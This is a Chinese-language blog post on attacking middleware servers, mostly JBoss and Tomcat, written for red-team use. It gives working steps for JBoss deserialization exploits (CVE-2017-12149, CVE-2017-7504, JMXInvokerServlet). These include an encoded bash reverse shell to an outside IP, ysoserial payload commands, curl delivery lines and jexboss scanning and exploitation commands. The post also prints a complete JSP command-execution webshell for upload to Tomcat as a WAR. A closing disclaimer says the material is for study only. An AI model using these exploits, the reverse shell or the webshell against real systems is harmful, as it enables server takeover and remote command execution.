本篇文章介绍一下中间件相关的利用面
常见的中间件有Jboss、Weblogic、Websphere、Tomcat、Apache、Nginx、IIS
Jboss
由于红蓝对抗中出现Jboss的概率较高,因此记录一下Jboss的利用面
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。
JBoss反序列化(CVE-2017-12149)
漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响版本:
Jboss AS 5.x
Jboss AS 6.x
环境搭建:
这里使用vulhub的环境
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149
cd CVE-2017-12149
docker-compose up -d
访问8080端口即可
漏洞复现
访问路由/invoker/readonly
,见到500状态码
使用ysoserial来生成序列化数据到poc.ser
# 反弹shell命令base64编码
echo "bash -i &>/dev/tcp/xxx/xxx <&1"|base64
YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=
# 利用ysoserial的CC5链子生成序列化代码
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=}|{base64,-d}|{bash,-i}" > poc.ser
传递序列化数据进行攻击
curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser
此时查看vps,成功监听到反弹的shell
漏洞分析
该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的doFilter
中。如下图所示:
方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。
JBossMQ反序列化(CVE-2017-7504)
漏洞描述:
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本:
Jboss 4.x
环境搭建
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504
cd CVE-2017-7504
docker-compose up -d
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
我们将1.ser文件内容作为POST Body发送:
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
执行docker-compose exec jboss bash
进入容器,可见/tmp/success
已成功创建。
JBoss JMXInvokerServlet 反序列化漏洞
漏洞描述:
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
环境搭建:
参考CVE-2017-7504
漏洞利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser
利用工具
jexboss
项目地址:https://github.com/joaomatosf/jexboss
项目介绍:
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.
简称:JBoss应用服务器攻击及其他Java平台攻击神器
Windows安装:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
攻击组件:
扫描模式:
python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt
定点利用:
python2 jexboss.py -u http://192.168.119.157:8080/
反弹shell成功
JbossScan
项目地址:
https://github.com/GGyao/jbossScan
项目介绍:
扫描jboss漏洞
将url放入target.txt中
python .\jbossScan.py
JBoss漏洞检测工具 by lab
Tomcat
Tomcat部署war
前提条件:能够进入Tomat管理后台
准备恶意webshell
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>horse</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
打包成war包
jar -cvf [war包名称].war 打包目录
jar -cvf test.war *
将test.war通过部署war包的形式上传
即可在网站对应目录下访问到webshell
Tomcat任意文件读取(cve-2020-1938)
前提条件:
-
Apache Tomcat 9.0.0.M1 到 9.0.0.30
-
Apache Tomcat 8.5.0 到 8.5.50
-
Apache Tomcat 7.0.0 到 7.0.99
利用脚本:
https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)